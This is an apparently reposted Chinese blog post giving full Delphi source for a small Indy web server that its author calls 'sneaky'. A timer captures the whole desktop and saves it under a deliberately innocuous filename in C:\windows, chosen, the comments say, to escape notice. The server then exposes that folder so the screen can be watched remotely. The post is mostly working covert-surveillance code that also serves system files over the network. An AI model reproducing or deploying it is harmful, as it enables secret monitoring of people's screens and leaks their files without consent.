码迷,mamicode.com
首页 > Windows程序 > 详细

delphi之猥琐的webserver实现

时间:2016-05-05 12:58:01      阅读:642      评论:0      收藏:0      [点我收藏+]

标签:

http://www.birdol.com/cainiaobiancheng/238.html

delphi之猥琐的webserver实现

 菜鸟编程  十五楼的鸟儿  7年前 (2009-01-01)  1266浏览  0评论

简单的webserver而已,不过实现的功能有些猥琐,可以在远程监控你的桌面一举一动~~
代码如下:
[code=delphi]unit Main;

interface

uses
 Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
 ActnList, StdCtrls, IdComponent, IdTCPServer, IdHTTPServer, Buttons,
 ComCtrls, IdGlobal, IdBaseComponent, IdThreadMgr, IdThreadMgrDefault, syncobjs,
 IdThreadMgrPool, ExtCtrls, IdIntercept, IdIOHandlerSocket,
 IdCustomHTTPServer, idSocketHandle,shellapi, Winsock, jpeg;
{偶承认这里是乱来的,我也不知道都use了啥,填了一堆...-_-!}
type
 TfmHTTPServerMain = class(TForm)
   HTTPServer: TIdHTTPServer;
   edPort: TEdit;
   cbActive: TCheckBox;
   edRoot: TEdit;
   LabelRoot: TLabel;
   Label1: TLabel;
   Button1: TButton;
   Label2: TLabel;
   Timer1: TTimer;
   procedure acActivateExecute(Sender: TObject);
   procedure HTTPServerCommandGet(AThread: TIdPeerThread;
     RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);
   procedure FormCreate(Sender: TObject);
   procedure FormDestroy(Sender: TObject);
   procedure Button1Click(Sender: TObject);
   procedure Timer1Timer(Sender: TObject);


 private
   UILock: TCriticalSection;
   { Private declarations }
 public
   { Public declarations }
   EnableLog: boolean;
   MIMEMap: TIdMIMETable;
 end;

var
 fmHTTPServerMain: TfmHTTPServerMain;
   jiance:Boolean;

implementation

uses FileCtrl, IdStack;

{$R *.DFM}

function GetLocalIP: string;
type
  TaPInAddr = array[0..255] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  Buffer: array[0..63] of char;
  i: integer;
  GInitData: TWSADATA;
begin
  wsastartup($101, GInitData);
  result := ‘‘;
  GetHostName(Buffer, SizeOf(Buffer));
  phe := GetHostByName(buffer);
  if not assigned(phe) then
    exit;
  pptr := PaPInAddr(Phe^.h_addr_list);
  i := 0;
  while pptr^[I] <> nil do
  begin
    result := {Result +}StrPas(inet_ntoa(pptr^[I]^)) + ‘,‘;
    inc(i);
  end;
  Delete(Result, Length(Result), 1);
  wsacleanup;
end;{获取IP的函数}

procedure TfmHTTPServerMain.acActivateExecute(Sender: TObject);
var
 Binding : TIdSocketHandle;

begin

 if jiance  then
 begin
   cbActive.Checked:=True;
   jiance:=False;
 end
  else
  begin
   cbActive.Checked:= False;
   jiance:=True;
  end;
 if not HTTPServer.Active then
 begin
   HTTPServer.Bindings.Clear;
   Binding := HTTPServer.Bindings.Add;
   Binding.Port := StrToIntDef(edPort.text, 80);
   Binding.IP := GetLocalIP;
    caption := ‘已启动‘;
 end;

 if not DirectoryExists(edRoot.text) then
 begin
   cbActive.Checked:= False;
 end
 else
 begin
   if cbActive.Checked then
   begin
     try
       HTTPServer.Active := true;
     except
       on e: exception do
       begin
         cbActive.Checked := False;
       end;
     end;
   end
   else
   begin
     HTTPServer.Active := false;
      caption := ‘未启动‘;
     // SSL stuff
     HTTPServer.Intercept := nil;
   end;
 end;
 edPort.Enabled := not cbActive.Checked;
 edRoot.Enabled := not cbActive.Checked;
end;


procedure TfmHTTPServerMain.HTTPServerCommandGet(AThread: TIdPeerThread;
 RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);

var
 LocalDoc: string;
 ByteSent: Cardinal;

begin
   LocalDoc := ExpandFilename(edRoot.text + RequestInfo.Document);
   if not FileExists(LocalDoc) then
   begin
     LocalDoc := ExpandFileName(LocalDoc);
   end;
   if FileExists(LocalDoc) then
 begin
       if AnsiSameText(RequestInfo.Command, ‘HEAD‘) then
       begin
          ResponseInfo.ResponseNo := 200;
          ResponseInfo.ContentText := ‘

‘+‘技术分享‘+‘‘;
       end
       else
       begin
         ByteSent := HTTPServer.ServeFile(AThread, ResponseInfo, LocalDoc);
        end;
 end
 else
   begin
     ResponseInfo.ResponseNo := 404;
     ResponseInfo.ContentText := ‘

‘+‘技术分享‘+‘‘;
{edPort.Text是你设置的端口,windows目录下是有FeatherTexture.bmp的,为了掩人耳目,弄个差不多的FeatherTexture.jpeg~}
 end;
{这个webserver貌似还有些问题,结构是我从indy的demo上扒下来的,貌似每次返回的都是404代码,所以偶为了防止出问题,采用了上面那段代码,就算是404,404页面也是有图片的,嘿嘿~~}
end;

procedure TfmHTTPServerMain.FormCreate(Sender: TObject);
begin
 jiance:=True;
 UILock := TCriticalSection.Create;
 MIMEMap := TIdMIMETable.Create(true);
   edRoot.text := ‘C:\windows‘;
 if HTTPServer.active then  caption := ‘已启动‘ else caption := ‘未启动‘;
 Label2.Caption:= ‘当前IP:‘+GetLocalIP;
end;

procedure TfmHTTPServerMain.FormDestroy(Sender: TObject);
begin
 MIMEMap.Free;
 UILock.Free;
end;






procedure TfmHTTPServerMain.Button1Click(Sender: TObject);
begin
ShellExecute(handle,nil,pchar(‘http://‘+GetLocalIP+‘:‘+edPort.Text),nil,nil,sw_shownormal);
end;

procedure TfmHTTPServerMain.Timer1Timer(Sender: TObject);
var
Fullscreen:Tbitmap;
FullscreenCanvas:TCanvas;
dc:HDC;
MyJPEG : TJPEGImage;
begin
Fullscreen:=TBitmap.Create;
Fullscreen.Width:=screen.width;
Fullscreen.Height:=screen.Height;
DC:=GetDC(0);
FullscreenCanvas:=TCanvas.Create;
FullscreenCanvas.Handle:=DC;
Fullscreen.Canvas.CopyRect(Rect(0,0,screen.Width,screen.Height),
fullscreenCanvas,Rect(0,0,Screen.Width,Screen.Height));
FullscreenCanvas.Free;
ReleaseDC(0,DC);
myjpeg:= TJPEGImage.Create;
myjpeg.Assign(Fullscreen);
myjpeg.CompressionQuality:=100; //压缩比例,100是最清晰状态。
myjpeg.Compress;
try
myjpeg.SaveToFile(‘c:\windows\FeatherTexture.JPEG‘);//保存路径,可以随便选,但是一定要和上面的webserver路径吻合。
myjpeg.Free;
fullscreen.free;
except
end;
end;

end.

[/code]
截个图瞧瞧:
技术分享

转载请注明:鸟儿博客 » delphi之猥琐的webserver实现

delphi之猥琐的webserver实现

标签:

原文地址:http://www.cnblogs.com/delphi-xe5/p/5461161.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!